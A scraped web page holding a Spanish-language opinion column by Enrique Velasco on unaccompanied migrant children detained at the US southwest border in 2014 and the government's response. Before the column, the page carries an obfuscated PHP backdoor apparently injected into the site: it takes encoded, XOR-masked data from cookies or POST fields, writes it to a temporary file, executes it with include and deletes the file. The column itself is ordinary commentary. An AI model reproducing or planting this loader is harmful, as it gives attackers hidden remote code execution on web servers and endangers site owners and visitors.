$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Oprobio. by Enrique Velasco – www.interferencechannel.com

Oprobio. by Enrique Velasco

Obligación. Obligación moral y ética, se requiere del gobierno de Obama con los niños y niñas no acompañados, atrapados en la frontera suroeste de  los Estados Unidos.

El Departamento de Seguridad Interna hizo público un  comunicado señalando que “en los últimos meses la Oficina de Aduanas y Protección Fronteriza ha visto un incremento en la detención de niños extranjeros no acompañados de Centroamérica, en la frontera suroeste, específicamente en el Valle de Río Grande”. Y argumentan que “la aprensión y el procesamiento de estos niños presenta retos operacionales únicos” para dicha oficina.

Por desgracia, esta es una administración mal preparada para enfrentar un problema que ha crecido, sin parar, por mucho tiempo. Y ahora necesita de una extraordinaria y sostenida ayuda humanitaria, techo, comida y sobre todo asistencia legal y sicológica para tratar de aliviar a estos jóvenes de los horrores que han vivido en sus países de origen, sobre todo Honduras, Guatemala, El Salvador y por supuesto, México.

En el año 2009, los menores centroamericanos que cruzaban la frontera eran alrededor de mil, por cada uno de estos países, mientras que los mexicanos eran más de 16 mil. En lo que va del año 2014, el porcentaje de los menores centroamericanos ha subido en más del 100% en los tres países, en cambio la cantidad de niños mexicanos ha bajado a 12,146.

El vicepresidente Joseph Biden se reunió con los encargados de esos países para tratar de solucionar la seguridad en aquellas naciones. La idea es tratar de tener menos asesinatos y menos bandas criminales, con el objetivo de que los jóvenes y niños no migren hacia Estados Unidos.

Mientras tanto, el Congreso norteamericano tendrá que aprobar un presupuesto de 14 mil millones de dólares requerido para  enfrentar emergencias en renglones como salud, seguridad y procesos legales de diverso tipo.

Una vez más, para no perder la costumbre y para agravar el problema, los republicanos (la extrema derecha) prefieren acusar, dilatar, hacer ejercicios de histrionismo en vez de generar soluciones. Han dejado el problema entero en las espaldas de Obama sin dar apoyos efectivos.

Según el New York Times, los oficiales del Estado de Arizona se pusieron furiosos con los agentes de migración que botaron a cientos de jóvenes migrantes en una estación de camiones en la ciudad de Phoenix, sin dinero ni recursos de ninguna especie para que pudieran regresar a sus países de origen.

Grupos de ayuda humanitaria han reportado que los niños les han comentado que han sido golpeados, amenazados y abusados sexualmente estando en detención. Han dicho que no les dan de comer, que no tienen medicinas y que viven en condiciones poco humanitarias.

El gobierno de  Obama que se ha visto presionado para poner albergues en bases militares en Texas, California, Oklahoma, debe investigar y castigar, sin dilación, a los responsables de este maltrato infantil.

Mientras tanto, el Departamento de Salud y Servicios Humanitarios, la agencia que debe ser la responsable del cuidado y la custodia de estos niños centroamericanos y mexicanos solos, sin padres presentes, debe incrementar los cuidados y ofrecer mejores refugios hasta que estos menores puedan reunirse con sus padres de nueva cuenta y reciban un juicio justo en las cortes que se dedican a asuntos migratorios.

Por fortuna ya se dieron los primeros pasos. Jeh Johnson, Secretario de Seguridad Interna y el director de la Patrulla Fronteriza, han ordenado una investigación de dichos abusos, al tiempo que se están proporcionando más de 100 abogados para acompañar los procesos legales de los menores.

No se puede tolerar que los niños y jóvenes se enfrenten a juicios en los que los jueces o los propios abogados del estado no tienen idea de qué se juzga o cuáles son los procedimientos que se deben seguir en un juicio de esta naturaleza.

Y nuestro gobierno debe protestar ante estas injusticias, pero también nos debe informar de lo que les pasa a nuestros niños y niñas que cruzan la frontera por necesidad.♦

*Enrique Velasco Garibay

Comments are closed.